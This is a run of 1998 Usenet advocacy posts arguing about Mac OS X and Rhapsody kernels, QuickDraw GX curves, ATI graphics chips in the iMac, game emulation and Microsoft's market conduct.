>What are you complaining about?
In what way is the * first * step in customer's making their voices
heard in a free market government interference of any type?
>No. I am saying that they are being forced to make a decision
>when there is no economic reason why they should have to, and
>in fact, that decision causes them to neglect smaller, yet
>viable markets.
And you have proof positive that any big boy OEM, absent any influence
MS might bring to bear ( note that I am not buying into your notion
that they are being forced into anything by MS ) would automatically
begin to market to these smaller markets?
If not, what you are saying is you don't like the market as it exists,
because you feel it slights your niche of choice, and because you
dislike MS they might as well take the blame for this state of
affairs.
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 17 Jun 1998 14:21:23 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6m8jd3$dbl$19@ns3.vrx.net>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126>
<slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com>
<slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com>
<slrn6ofuqc.qg6.sal@panix3.panix.com> <6m8vbu$6u9$1@news.spacelab.net>
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Cc: chuck@codefab.com
In <6m8vbu$6u9$1@news.spacelab.net> "Charles W. Swiger" claimed:
> The basic problem with some of the older 3D chipsets is that they have
> bottlenecks which make them so slow that a pure software engine is going to
> outperform their hardware acceleration-- one aspect of the continuing
> improvement in CPU performance and fast FSB memory access with SDRAM.
Luckily if the iMac is indeed going to the RagePro, then this shouldn't be
an issue. I've seen a RagePro in my friend's Mac, and was surprised at it's
performance, notably considering the older ATI's seemed pretty much a waste
of time. Generally it outperformed my machine significantly and looked a lot
nicer too.
> This is even more the case for the PPC in the iMac compared to Wintel PC's,
> since the PPC is proportionally better than the Intel Pentium at floating
> point....
Is this still true? I was under the impression this was a combination of
lower accuracy for the most part in the past, but that the P-II was even
better than the PPC?
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 17 Jun 1998 14:24:18 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6m8jii$dbl$20@ns3.vrx.net>
References: <6m86ht$dbl$7@ns3.vrx.net> <B1AD551E-349A1@206.165.43.101>
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Cc: english@primenet.com
In <B1AD551E-349A1@206.165.43.101> "Lawson English" claimed:
> >Lawson simply refuses to accept that this was a MASSIVE problem for
> >developers.
>
> Not at all.
Yes "at all", Lawson I was there when we rejected even attempting this at
SA. To get the most basic GX improvements, like printing, you needed to
include two complete printing subsystems, one for GX the other without. The
same is true for the whole GX system. Either you made your product GX only,
or you likely didn't bother. And that's exactly what the market
demonstrated.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X Confusion
Date: 17 Jun 1998 14:30:33 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6m8ju9$dbl$22@ns3.vrx.net>
References: <6lvsob$ni$1@supernews.com> <6m2uto$b7k$1@ns3.vrx.net>
<35862ad9.0@206.25.228.5> <6m6d9h$8d81@odie.mcleod.net>
<slrn6odnt9.ckr.sal@panix3.panix.com> <6m68ie$fg$1@ns3.vrx.net>
<slrn6ofvik.qg6.sal@panix3.panix.com>
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Cc: sal@panix3.panix.com
In <slrn6ofvik.qg6.sal@panix3.panix.com> Salvatore Denaro claimed:
> I do think it is possible for a system to do well as both a client and as a
> server. Unix has been doing that for decades.
Oh, for sure.
> VMS comes to mind.
It's arguable that VMS scaled downward very well though.
> A network is only as strong as its weakest node. It is up to the sysadmins
> to find the right balance between security and performace (and ease of use)
But to go back to the example, C3 is something that you can put on a server
and not a client and still have a C3 server. Take the specific example
again, the logging to disk - this is something that if you turn off in the
client has no effect on the security of your server. Yet turing this off is
likely to have a very large effect on performance of that machine.
> No. Everything I've seen has indicated to me that MacOS would build on
Rhapsody.
> I am not aware of anything (save DPS/NSHost) that is "going away"
Sure, but it remains to be seen _what_ will be included with the system.
> MacOSX *is* Rhapsody's Mach/BSD core + Carbon.
That's not correct. Rhapsody's and MacOS-X's kernels are radically
different.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X Confusion
Date: 17 Jun 1998 14:34:49 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6m8k69$dbl$24@ns3.vrx.net>
References: <6lvsob$ni$1@supernews.com> <6m2uto$b7k$1@ns3.vrx.net>
<35862ad9.0@206.25.228.5> <6m6d9h$8d81@odie.mcleod.net>
<slrn6odnt9.ckr.sal@panix3.panix.com> <6m68ie$fg$1@ns3.vrx.net>
<6m6u1h$o8d$1@cronkite.cygnus.com> <6m6gbe$fg$5@ns3.vrx.net>
<35878565.0@206.25.228.5> <6m8628$dbl$4@ns3.vrx.net>
<35880e76.0@206.25.228.5>
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Cc: jkheit@xtdl.com
In <35880e76.0@206.25.228.5> John Kheit claimed:
> As far as I have heard, both the release of Rhapsody, and MacOSX
> will be based on a Mach3 variant;
I believe this is no longer true, and that Rhapsody CR will continue to use
the current kernel. No?
> variant. If it's otherwise, could you please point out where you
> heard it from? Thanks.
This is certainly the impression I got at WWDC.
> tunings. If I'm wrong, and I well may be, and Rhap is a monoMach2
> variant while OSX is a 3variant, or something to that effect...well,
> all I can say is thanks for pointing out my error on that.
Fair enough.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X Confusion
Date: 17 Jun 1998 14:33:08 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6m8k34$dbl$23@ns3.vrx.net>
References: <6lvsob$ni$1@supernews.com> <6m2uto$b7k$1@ns3.vrx.net>
<35862ad9.0@206.25.228.5> <6m6d9h$8d81@odie.mcleod.net>
<slrn6odnt9.ckr.sal@panix3.panix.com> <6m68ie$fg$1@ns3.vrx.net>
<6m6u1h$o8d$1@cronkite.cygnus.com> <6m6gbe$fg$5@ns3.vrx.net>
<6m7ltq$kd8$1@news.cs.tu-berlin.de> <6m83m1$dbl$2@ns3.vrx.net>
<6m906k$kt8$1@news.cs.tu-berlin.de>
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Cc: marcel@cs.tu-berlin.de
In <6m906k$kt8$1@news.cs.tu-berlin.de> Marcel Weiher claimed:
> The discussion was about the 'distinction' between server and client
> OSes. Please leave your straw-men at home.
Fine, would Novell make a good desktop OS? Even in theory, do you see the
kernel of the Novell OS being useable on a desktop platform?
> > What does that have to do with anything?
>
> Please define what makes a server OS different from a client OS.
Depends on the OS. Lots of it has to do with bundling, security, the
kernel etc.
Maury
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 17 Jun 1998 11:16:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1AD55CF-37355@206.165.43.101>
References: <6m8egs$8nt$1@news.cs.tu-berlin.de>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
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Marcel Weiher <marcel@cs.tu-berlin.de> said:
>"Lawson English" <english@primenet.com> writes:
>
>>Quadratic Beziers can be handled using nothing but shifts and rotates.
>>What's the most efficient strategy for handling cubic Beziers?
>
>Shifts and adds. Forward differencing...
>
Shifts and adds. But, here's a question: which is faster, using Bresenham's
for the generic line, or using the same strategy optimized for vertical,
horizontal and 45-degree lines?
Betcha that quadratics are STILL faster than cubic Beziers, just as the
above special cases can be made faster than the generic Bresenham
line-algorithm.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 17 Jun 1998 11:35:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1AD5A59-48471@206.165.43.101>
References: <joe.ragosta-1706980834580001@wil36.dol.net>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
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Joe Ragosta <joe.ragosta@dol.net> said:
>A good rule of thumb is that emulation approaches 1/4 with a good
>emulator. That's probably a rough guess of 680x0 emulation on the dynamic
>recompilation PPC emulator. It's also not far off from the performance of
>VPC or SoftWindows running PC stuff.
>
Console games usually call canned libraries for all graphics and
sound-handling. If you can make the libraries native, and call 3D hardware
from within the library, there's no reason why a G3 system couldn't
"emulate" a Playstation faster than a Playstation.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: roger@. (Roger)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 17 Jun 1998 19:14:16 GMT
Organization: gte.net
Message-ID: <6m946q$oq2$4@news-1.news.gte.net>
References: <3578a103.7795788@news.supernews.com> <6kkgk9$2h7$2@gte1.gte.net> <6kl05l$k1$1@inconnu.isu.edu> <slrn6mtk1e.2rc.jedi@dementia.mishnet> <uWKsMaFl9GA.268@upnetnews02.moswest.msn.net> <01bd949c$de9bbf80$8383050a@bgravitt.CORP.VHA.COM> <6lrj05$hlm$16@gte1.gte.net> <01bd9646$a1100260$8383050a@bgravitt.CORP.VHA.COM> <6m3272$s38$21@news-1.news.gte.net> <01bd9891$3b097f80$8383050a@bgravitt.CORP.VHA.COM> <6m5prg$9lu$1@news-2.news.gte.net> <35c79233.43815461@news.supernews.com>
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On Tue, 16 Jun 1998 15:43:54 GMT, someone claiming to be T. Max Devlin
wrote:
>roger@. (Roger), on Tue, 16 Jun 1998 12:58:04 GMT,
>>I am saying that the statement that MS apps "freely" use such
>>interfaces is an exaggeration, given that in the close to 20 years
>>they have been writing apps and OSes, only two instances of such use
>>have been presented.
>No, hundreds of instances have been presented. Only two have been
>sufficiently documented to convince you. Us living in the real world
>realize how unlikely it is to be able to document such subtle
>(individually) market-perverting behaviors, and recognize that if even
>you will grant that two instances were found....
No, if you can post even a dozen instances of this behaviour that are
more than "I heard from a friend of a friend who knows this guy whose
sister's cousin's roommate...," I will again mail to the receipt
showing I donated to your favourite charity.
Heck, if you can show to date where even two dozen unique allegations
have been made, I'll do the same. <Hint: allegations made hundreds
of times != hundreds of allegations.)
You're exaggerating again, and it makes you look every bit as foolish
this time.
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Font formats (was OS strategy)
Date: 17 Jun 1998 11:42:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1AD5BDE-4DFBA@206.165.43.101>
References: <3587E400.9C9D5DB0@trilithon.com>
nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.next.advocacy
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Henry McGilton <henry@trilithon.com> said:
>Lawson English wrote:
>
> * What you both seem to have missed, even though I've
> * said it several times,
>Make that "too many times" . . .
>
> * is that MacOS X's native text engine uses GX fonts
> * out-of-the-box. ANY app that has been Carbonized
> * will be using the ATSUI engine, and therefore will
> * be able to use GX fonts.
>Where are the GX fonts coming from? In the sense of, what
>font houses are currently creating GX fonts?
>
There's at least one Japanese font house that has GX fonts waiting in the
wings. The biggest hurdle to developing GX fonts has always been that they
aren't cross-platform. So happens that Yellow Box apps can handle GX fonts
also, which means that GX fonts are now cross-platform.
And, just about every book on fonts that I've read mentions the neat
features of GX and how they would love to GXify their own fonts as soon as
the technology is cross-platform, so ...
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X Confusion
References: <6lvsob$ni$1@supernews.com> <6m2uto$b7k$1@ns3.vrx.net> <35862ad9.0@206.25.228.5> <6m6d9h$8d81@odie.mcleod.net> <slrn6odnt9.ckr.sal@panix3.panix.com> <6m68ie$fg$1@ns3.vrx.net> <6m6u1h$o8d$1@cronkite.cygnus.com> <6m6gbe$fg$5@ns3.vrx.net> <35878565.0@206.25.228.5> <6m8628$dbl$4@ns3.vrx.net>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <35880e76.0@206.25.228.5>
Date: 17 Jun 98 18:44:06 GMT
maury@remove_this.istar.ca (Maury Markowitz) wrote:
> You stated that "it's the same mach kernel". This is not true,
> MacOS-X and Rhapsody are using radically different kernels.
> I don't particularily think this will have an effect on the
> ability to scale (the opposite is the likely case, 3 should
> scale MUCH better), but nevertheless your statement is incorrect.
As far as I have heard, both the release of Rhapsody, and MacOSX
will be based on a Mach3 variant; the DRs are based on a Mach2
variant. If it's otherwise, could you please point out where you
heard it from? Thanks.
> I don't know why you responded with just hostility towards my
> post, but I stand by my comments.
I'm doing the same. As far as I was aware, the release of Rhap
will be a mach3 variant. MacOSX, as I understand it, will also be
a mach3 variant kernel. It seems to be the same kernel, minus
tunings. If I'm wrong, and I well may be, and Rhap is a monoMach2
variant while OSX is a 3variant, or something to that effect...well,
all I can say is thanks for pointing out my error on that.
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X Confusion
References: <6lvsob$ni$1@supernews.com> <6m2uto$b7k$1@ns3.vrx.net> <35862ad9.0@206.25.228.5> <6m6d9h$8d81@odie.mcleod.net> <3586e401.0@206.25.228.5> <6m6vpk$79c1@odie.mcleod.net> <35878bc2.0@206.25.228.5> <6m862s$dbl$5@ns3.vrx.net>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <35880c77.0@206.25.228.5>
Date: 17 Jun 98 18:35:35 GMT
maury@remove_this.istar.ca (Maury Markowitz) wrote:
> You can turn THAT kernel in this fashion sure, but that doesn't
> turn a RT OS into a PMT one. There's more than one kernel in
> the world for a reason, and the fact that Solaris works on
> servers is not a terribly important point
> - something else might work a lot better.
That's true, but not on point. The point is, that macOSX will use
the SAME mach kernel. A 3.0 variant. Barring some inside info
that has not yet been announce, it's *the same kernel* perhaps with
different tunes at most.
> > But that the mach kernel itself, the binary, i.e. mach3.0 (the
> > base and core OS) is ept at being both a client and server OS
> > (scalability up the wazoo if you like).
> I'm sure it can, the AD work has in fact distributed the kernel
> across multiple machines into n-way compute node single kernel
> images. That still doesn't imply that server kernels make good
> desktops, or vice versa.
I think it implies it just fine. But I agree with the spirit of
what you say here, it's not some absolute that it will or wont.
But, the 3.0 kernel does work well in a server sense; that same
binary, set with different pref vals, will work well on a client
side too. Regardless, as far as we know, the same mach3 kernel
will be used in Rhap and in OSX.
> > Hmm, I'm not sure I considered them part of the OS proper, but
> > that's just semantics I guess. I think the standard BSD 4.4
> > stuff that will come with OSX
> If you can provide a list of what will come with OS-X, I for
> one would LOVE to see it. Personally I predict that POP, SMTP,
> most of the shell utils, NFS, NIS and most of the other components
> will be missing, and provided in another package.
I don't remember where I read this, perhaps on STEPWISE via Scotts
reports. But last I read that OSX should allow for an optional
install of the BSD layer. Of course this isn't written in stone.
I'd love confirmation on this too.
> The real issue is whether or not MacOS-X will include even a
> reasonable subset. OpenStep currently does, but by no means
> does that imply that X will.
Even still, I see nothing stopping users from compiling that subset
or copying the entire thing over themselves for an install. The
core OS, i.e. the kernel will be there to provide for fine performance
by and large. I don't know if mach3 on OSX will allow for tuning.
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X Confusion
Date: 17 Jun 1998 15:30:07 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6m8ndv$so3$1@ns3.vrx.net>
References: <6lvsob$ni$1@supernews.com> <6m2uto$b7k$1@ns3.vrx.net>
<35862ad9.0@206.25.228.5> <6m6d9h$8d81@odie.mcleod.net>
<slrn6odnt9.ckr.sal@panix3.panix.com> <6m68ie$fg$1@ns3.vrx.net>
<slrn6ofvik.qg6.sal@panix3.panix.com> <6m8ju9$dbl$22@ns3.vrx.net>
<slrn6og8m7.i78.sal@panix3.panix.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: sal@panix3.panix.com
In <slrn6og8m7.i78.sal@panix3.panix.com> Salvatore Denaro claimed:
> How much is going to change between Mach 2.5 and Mach 3.0? Is it going to
> be a dramatic change?
Well, yes. For the purposes of this thread the answer is that it should
become a better server OS if anything. One of the most notable differences
is the change from using the BSD emulator to drive _lots_ of code for the
kernel, to code being placed into kernel servers - networking is one such
example.
Maury
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 17 Jun 1998 14:16:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1AD8000-D5D74@206.165.43.101>
References: <uaf7cvumx.fsf@ai.mit.edu>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Stephen Peters <portnoy@ai.mit.edu> said:
>"Lawson English" <english@primenet.com> writes:
>
>> So, is the core of my point invalid?
>>
>> Quadratics can be rendered/dealt-with faster than cubics.
>
>In comparing a single quadratic versus a single cubic, I'd say yes.
>If, however, you are trying to draw a cubic (for example, if you're
>using a PostScript font, or the curve features of the latest
>PowerPoint, or any of a number of cubic-enabled drawing packages, the
>best you can do using quadratics is an approximation using several
>quadratic curves, which will at best make the two equivalent.
Sure, but a couple of points here:
1) I was talking about how it was appropriate to use GX's quadratic Beziers
as the basis for QT vectors because they might render faster than cubic
Beziers. The native curve-type of GX/QT vectors IS quadratics, so no
approximations are needed unless you're using graphics developed from
another package. Thus far, the only QT vector package available is
LIghtningDraw, which uses GX. GXFCN also uses GX, and will support
exporting to QT vectors. HyperCard 3.0 will likely use QT vectors directly
(which means that you'll need GXFCN to import the QT vectors in order to
print HC 3.0 stacks/QT vector movies with resolution independence -boy, is
GXFCN going to be popular!).
2) The native curve-type of TT and TT-GX is also quadratic Beziers, so even
for GX/ATSUI text, the normal font-case (TT fonts are far more prevalent
for generic word-processing than Type 1, I believe) makes quadratics
faster.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Games and the consumer market.
Date: Wed, 17 Jun 1998 17:52:12 -0700
Message-ID: <see-below-1706981752130001@dynamic62.pm07.mv.best.com>
References: <jdoherty-1306980132070001@aus-tx22-02.ix.netcom.com> <B1A80B74-46BBE@206.165.43.23> <jdoherty-1406980213150001@san-tx3-06.ix.netcom.com> <slrn6o7p0o.sk2.sal@panix3.panix.com> <35848D6B.B7C60F36@spamtoNull.com> <slrn6o9557.av9.sal@panix3.panix.com> <njcosta-ya02408000R1506980112460001@news.earthlink.net> <6m30i7$b7k$5@ns3.vrx.net> <cirby-1506981527110001@pm53-28.magicnet.net> <6m3hlg$n2m$1@ns3.vrx.net> <see-below-1606982219310001@dynamic2.pm04.mv.best.com> <6m831v$dbl$1@ns3.vrx.net>
In article <6m831v$dbl$1@ns3.vrx.net>, maury@remove_this.istar.ca (Maury
Markowitz) wrote:
> > Falcon 4 is coming to the Mac. :)
>
> By whom? Is there a date set? I'd love to get it.
MacSoft/Westlake. See http://www.westlakeinteractive.com/news0013.html for
more details.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: rjcousin@sfu.ca (Ryan John Cousineau)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 18 Jun 1998 00:03:28 GMT
Organization: Simon Fraser University
Message-ID: <6m9lgg$pgg$1@morgoth.sfu.ca>
References: <joe.ragosta-1706980834580001@wil36.dol.net> <B1AD5A59-48471@206.165.43.101> <6m8kmi$dbl$25@ns3.vrx.net> <358835fd.0@news.depaul.edu>
Jonathan W Hendry <jhendry@shrike.depaul.edu> writes:
>In comp.sys.next.advocacy Maury Markowitz <maury@remove_this.istar.ca> wrote:
>> In <B1AD5A59-48471@206.165.43.101> "Lawson English" claimed:
>> > Console games usually call canned libraries for all graphics and
>> > sound-handling. If you can make the libraries native, and call 3D hardware
>> > from within the library, there's no reason why a G3 system couldn't
>> > "emulate" a Playstation faster than a Playstation.
>> Good point. And does anyone suspect that the library is a very large deal
>> in these cases?
>How big is a Playstation game executable? Small enough to be a
>good candidate for dynamic recompilation?
I'm not worried about the executable size or the libraries; what has me
concerned is attempting to emulate the graphics hardware.
If (IF!!!) this were to ever happen, I suspect it would involve a
"Playstation-on-a-card". You'd probably get a PCI card with a PS on it, and
maybe controller ports on the back. Then the PS card would use the
computer's CD-ROM drive, video card, and possibly its memory (a nice hack
would be using the the disk drive to store the memory).
--
Ryan Cousineau, rjcousin@sfu.ca
"[Ryan is] a literary pop-culture mathemagical wizard!"
-Frederick Ghahramani
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: Wed, 17 Jun 1998 17:59:54 -0700
Message-ID: <see-below-1706981759540001@dynamic62.pm07.mv.best.com>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com> <slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com> <slrn6ofuqc.qg6.sal@panix3.panix.com>
In article <slrn6ofuqc.qg6.sal@panix3.panix.com>, sal@panix3.panix.com
(Salvatore Denaro) wrote:
> On Tue, 16 Jun 1998 22:31:01 -0700, Matthew Vaughan
<see-below@not-my-address.com> wrote:
> >In article <slrn6oc005.8be.sal@panix3.panix.com>, sal@panix3.panix.com
> >>
> >> I don't know how well the ATI video compares to other video cards.
> >> I doubt it is the fastest at either 3d or 2d, but I wouldn't be surprised
> >> if was "just ok" in both.
> >
> >The Rage II slated for the iMac is "ok" for 2D, and basically worthless
> >for 3D. (ie, most 3D games can't use it at all, and you're left running in
> >software-only). Rage Pro is not bad, at either 2D or 3D (of course this
> >varies significantly depending on the game).
>
> Maybe Apple needs to provide tools to let software houses better use the Rage
> chip. Or they need to move to another chip. Is there any reason why software
> houses can not use the 3d features of the rage? Does ATI hinder it's use?
It's simply too slow to be worth trying to support for the latest games.
Quake for instance runs no faster than 15 fps using it, even on the
fastest G3 with enough VRAM, which is simply unacceptable. According to
Westlake, Unreal is unplayable on the Rage II (it is _much_ more demanding
than Quake is in terms of graphics). Among other things, Rage II probalby
doesn't have a sufficient "fill rate" to draw the textures and send pixes
to the screen fast enough to keep up with what the game is doing.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: Wed, 17 Jun 1998 18:07:14 -0700
Message-ID: <see-below-1706981807140001@dynamic62.pm07.mv.best.com>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com> <slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com> <slrn6ofuqc.qg6.sal@panix3.panix.com> <6m8vbu$6u9$1@news.spacelab.net> <slrn6oghra.36q.sal@panix3.panix.com>
In article <slrn6oghra.36q.sal@panix3.panix.com>, sal@panix3.panix.com
(Salvatore Denaro) wrote:
> On 17 Jun 1998 17:45:34 GMT, Charles W. Swiger <chuck@codefab.com> wrote:
> >The basic problem with some of the older 3D chipsets is that they have
> >bottlenecks which make them so slow that a pure software engine is going to
> >outperform their hardware acceleration-- one aspect of the continuing
> >improvement in CPU performance and fast FSB memory access with SDRAM.
>
> Hmmm... Rage 3d Pro is old? It offers 100mhz SDRAM and comes in an AGP2
> part. According to ATI's web site, it has won awards as recently as May.
>
> I am not aware of the plus/minus to the ATI chip. How well does it compare
> to the other 2d/3d chip sets? I was under the impression that it was a
> good performer in both 2d and 3d.
It's the Rage II that we're complaining about. Rage Pro is decent, and
actually performs pretty well next to other low-cost 3D accelerators on
the market, at least in Direct3D games (it's still not that great at Quake
or Quake II, but is acceptable). My understanding is Rage Pro is about
three times faster than Rage II. It's still not the fastest thing out
there, but it's decent for most things. Rage II, however, can't be
described as anything other than "obsolete."
To refresh everyone's memory, initially Apple announced the iMac would
have a Rage II-class chipset in it, but has been quiet about the
particular part to be used since then. I've heard that Rage Pro is
pin-compatible with Rage II, however I've also heard that the iMac product
manager was resisting making such a change at such a late date. Anyway,
all I'm asking for is the inclusion of Rage Pro in preference to Rage II.
On top of that, the currently used Rage Pro chip, the Rage Pro Turbo, is
claimed by ATI to have MPEG-2 video decoding built in, which would allow
DVD movie playback.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 17 Jun 1998 18:19:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1ADB8E7-75AB0@206.165.43.97>
References: <6m8kmi$dbl$25@ns3.vrx.net>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Maury Markowitz <maury@remove_this.istar.ca> said:
>In <B1AD5A59-48471@206.165.43.101> "Lawson English" claimed:
>> Console games usually call canned libraries for all graphics and
>> sound-handling. If you can make the libraries native, and call 3D
hardware
>> from within the library, there's no reason why a G3 system couldn't
>> "emulate" a Playstation faster than a Playstation.
>
> Good point. And does anyone suspect that the library is a very large
deal
>in these cases?
>
The latest rumor that I have seen is that Apple is working with Metrowerks
to provide a common development base for Sony and Nintendo hardware AND PPC
hardware.
That may or may not require deals with the respective companies.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 17 Jun 1998 18:26:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1ADBAA5-7C381@206.165.43.97>
References: <6m8jii$dbl$20@ns3.vrx.net>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Maury Markowitz <maury@remove_this.istar.ca> said:
>In <B1AD551E-349A1@206.165.43.101> "Lawson English" claimed:
>> >Lawson simply refuses to accept that this was a MASSIVE problem for
>> >developers.
>>
>> Not at all.
>
> Yes "at all", Lawson I was there when we rejected even attempting this
at
>SA. To get the most basic GX improvements, like printing, you needed to
>include two complete printing subsystems, one for GX the other without.
>The
>same is true for the whole GX system. Either you made your product GX
>only,
>or you likely didn't bother. And that's exactly what the market
>demonstrated.
I think that you misunderstood what I said:
"Not at all. What was lacking from GX was an immediate mode to provide what
QDe provides. Had they done THAT, they could have implemented QDe years
ago using GX."
Once QDe is implemented (and it could have been implemented on any color
Mac running System 7 (with enough memory)), you don't need two code-bases.
Of course, they weren't planning on replacing the graphics sub-system until
MacOS 8, but they could have.
The other strategy is simply to ignore GX printing entirely and support
MacOS 8-style printing via the new libraries. That's obviously only been
available for a few months, but they could have gone this route (also)
years ago.
The biggest problem with GX was that management hadn't a clue about how to
position GX. Jobs, at least, understands the need to have a backwards
compatible API that is forward-looking.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
